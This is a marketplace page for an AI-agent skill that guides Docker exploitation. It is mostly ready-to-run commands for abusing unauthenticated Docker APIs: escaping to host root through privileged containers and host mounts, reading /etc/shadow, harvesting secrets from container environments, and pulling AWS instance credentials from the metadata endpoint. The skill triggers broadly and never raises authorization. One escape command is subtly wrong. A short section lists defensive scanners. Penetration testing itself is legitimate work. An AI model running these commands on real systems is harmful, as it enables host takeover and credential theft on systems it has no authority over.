# Docker Pentesting

> Docker security assessment and exploitation. Use this skill whenever the user needs to enumerate Docker services, exploit misconfigured Docker APIs (ports 2375/2376), escape containers, discover secrets in running containers, or perform privilege escalation via Docker. Trigger on mentions of Docker, containerization, container escape, Docker API, port 2375, port 2376, container security, or any Docker-related security testing.

- Skill: `abelrguezr/docker-pentesting` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/docker-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/docker-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/docker-pentesting

---


# Docker Pentesting Skill

A comprehensive skill for Docker security assessments, including enumeration, exploitation, container escape, and secret discovery.

## When to Use This Skill

Use this skill when:
- You need to enumerate a Docker service (especially on ports 2375/2376)
- You want to exploit an unauthenticated Docker API
- You need to escape from a Docker container to the host
- You're looking for secrets in running containers
- You need to perform privilege escalation via Docker
- You're assessing Docker security configurations

## Quick Reference

### Default Ports
- **2375/tcp**: Docker Remote API (unencrypted, no auth by default)
- **2376/tcp**: Docker Remote API (TLS encrypted)

### Fast Privilege Escalation
```bash
# If you have Docker API access, this gives you root on the host
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```

## Enumeration

### Check if Docker API is Accessible

First, determine if you can reach the Docker API:

```bash
# Using curl (works on both 2375 and 2376)
curl -s http://<target>:2375/version | jq

# Using docker CLI
docker -H tcp://<target>:2375 version

# Set environment variable to avoid -H flag
export DOCKER_HOST="tcp://<target>:2375"
docker version
```

### Enumerate Running Containers

```bash
# List all containers
docker -H tcp://<target>:2375 ps -a

# Using curl for TLS endpoint
curl -s --insecure https://<target>:2376/containers/json | jq
```

### Inspect Container Details

```bash
# Get detailed container info (includes environment variables, mounts, etc.)
docker -H tcp://<target>:2375 inspect <container_id>

# Check what's mounted
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/<container_id>/exec \
  -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","mount"]}'
```

### List Images

```bash
docker -H tcp://<target>:2375 images

# Using containerd CLI (if available)
ctr images list
```

## Exploitation

### Container Escape via Privileged Container

If you can create containers, spawn a privileged one with host filesystem mounted:

```bash
# Method 1: Simple chroot escape
docker -H tcp://<target>:2375 run --rm -it --privileged -v /:/host alpine chroot /host /bin/bash

# Method 2: Using curl API (for TLS endpoint)
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/create?name=escape \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host /bin/bash"],"Binds":["/:/host"],"Privileged":true}'

curl -s --insecure -X POST https://<target>:2376/containers/escape/start

curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/escape/exec \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh"]}'
```

### Read Sensitive Files

```bash
# Read /etc/shadow
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/etc/shadow

# Read any file
docker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/<path/to/file>
```

### Extract Secrets from Running Containers

```bash
# Get container ID
docker -H tcp://<target>:2375 ps | grep <service_name>

# Inspect for environment variables (often contain secrets)
docker -H tcp://<target>:2375 inspect <container_id> | jq '.[0].Config.Env'

# Copy files from container
docker -H tcp://<target>:2375 cp <container_id>:/etc/<secret_file> ./

# Execute commands to find secrets
docker -H tcp://<target>:2375 exec -it <container_id> env
docker -H tcp://<target>:2375 exec -it <container_id> cat /run/secrets/*
```

### AWS Metadata Access (if container has network access)

```bash
# Create exec to fetch AWS credentials
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/<container_id>/exec \
  -d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/sh","-c","wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

# Get the exec ID from response, then start it
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/exec/<exec_id>/start -d '{}'
```

## Containerd Exploitation

If containerd is accessible directly:

```bash
# Pull an image
ctr images pull --skip-verify --plain-http <registry>:5000/alpine:latest

# Create and start a container
ctr container create <image> <container_name>
ctr task start <container_name>

# Attach to running container
ctr tasks attach <container_name>

# List and manage containers
ctr container list
ctr task list
ctr task kill -s SIGKILL <container_name>
ctr container delete <container_name>
```

## Podman Considerations

Podman is compatible with Docker CLI but has key differences:

```bash
# Podman commands (same as docker)
podman --version
podman info
podman images ls
podman ps

# Podman supports rootless containers by default
# This can be both a security feature and a limitation for exploitation
```

## Security Assessment Tools

### Docker Security Benchmarks

```bash
# docker-bench-security - comprehensive security check
git clone https://github.com/docker/docker-bench-security
cd docker-bench-security
./docker-bench-security.sh

# dockscan - Docker security scanner
dockscan -v unix:///var/run/docker.sock

# amicontained - check container privileges
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
```

### Dockerfile Linting

```bash
# hadolint - popular Dockerfile linter
docker run --rm -i hadolint/hadolint < Dockerfile

# dockerfile-linter
dockerfilelinter -f Dockerfile

# dockerfilelint
dockerfilelint Dockerfile
```

### Image Vulnerability Scanning

```bash
# Clair - vulnerability scanner for container images
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://<clair_ip>:6060 --ip <target_ip> <image_name>
```

### Runtime Monitoring

```bash
# Falco - runtime security monitoring
docker run -it --privileged \
  -v /var/run/docker.sock:/host/var/run/docker.sock \
  -v /dev:/host/dev \
  -v /proc:/host/proc:ro \
  -v /boot:/host/boot:ro \
  -v /lib/modules:/host/lib/modules:ro \
  -v /usr:/host/usr:ro \
  falcosecurity/falco
```

## Common Attack Patterns

### Pattern 1: Unauthenticated Docker API

**Scenario**: Port 2375 is open with no authentication

**Exploitation**:
```bash
export DOCKER_HOST="tcp://<target>:2375"
docker run -it -v /:/host ubuntu:latest chroot /host/ bash
```

### Pattern 2: TLS Docker API with Weak Certificates

**Scenario**: Port 2376 is open with self-signed or weak certificates

**Exploitation**:
```bash
# Use --insecure flag with curl
curl -s --insecure https://<target>:2376/containers/json | jq

# Create privileged container via API
curl -s --insecure -X POST -H "Content-Type: application/json" \
  https://<target>:2376/containers/create?name=pwned \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'
```

### Pattern 3: Container with Host Mounts

**Scenario**: Container already has host filesystem mounted

**Exploitation**:
```bash
# Find the mount point
docker exec -it <container_id> mount | grep /host

# Escape to host
cd /host
chroot /bin/bash
```

### Pattern 4: Secrets in Environment Variables

**Scenario**: Container has sensitive data in environment variables

**Exploitation**:
```bash
# List all environment variables
docker exec -it <container_id> env

# Look for common secret patterns
docker exec -it <container_id> env | grep -iE '(password|secret|key|token|api_key|aws)'

# Inspect container config
docker inspect <container_id> | jq '.[0].Config.Env'
```

## Cleanup

After exploitation, clean up created containers:

```bash
# Stop and remove containers
docker -H tcp://<target>:2375 stop <container_id>
docker -H tcp://<target>:2375 rm <container_id>

# Or prune all stopped containers
docker -H tcp://<target>:2375 container prune

# Using curl API
curl -s --insecure -X POST https://<target>:2376/containers/prune
```

## References

- [Docker API Documentation](https://docs.docker.com/engine/api/)
- [Docker Bench for Security](https://github.com/docker/docker-bench-security)
- [PayloadsAllTheThings - Docker API RCE](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
- [Abusing Docker API Socket](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
- [Container Escape Techniques](../linux-hardening/privilege-escalation/docker-security/)

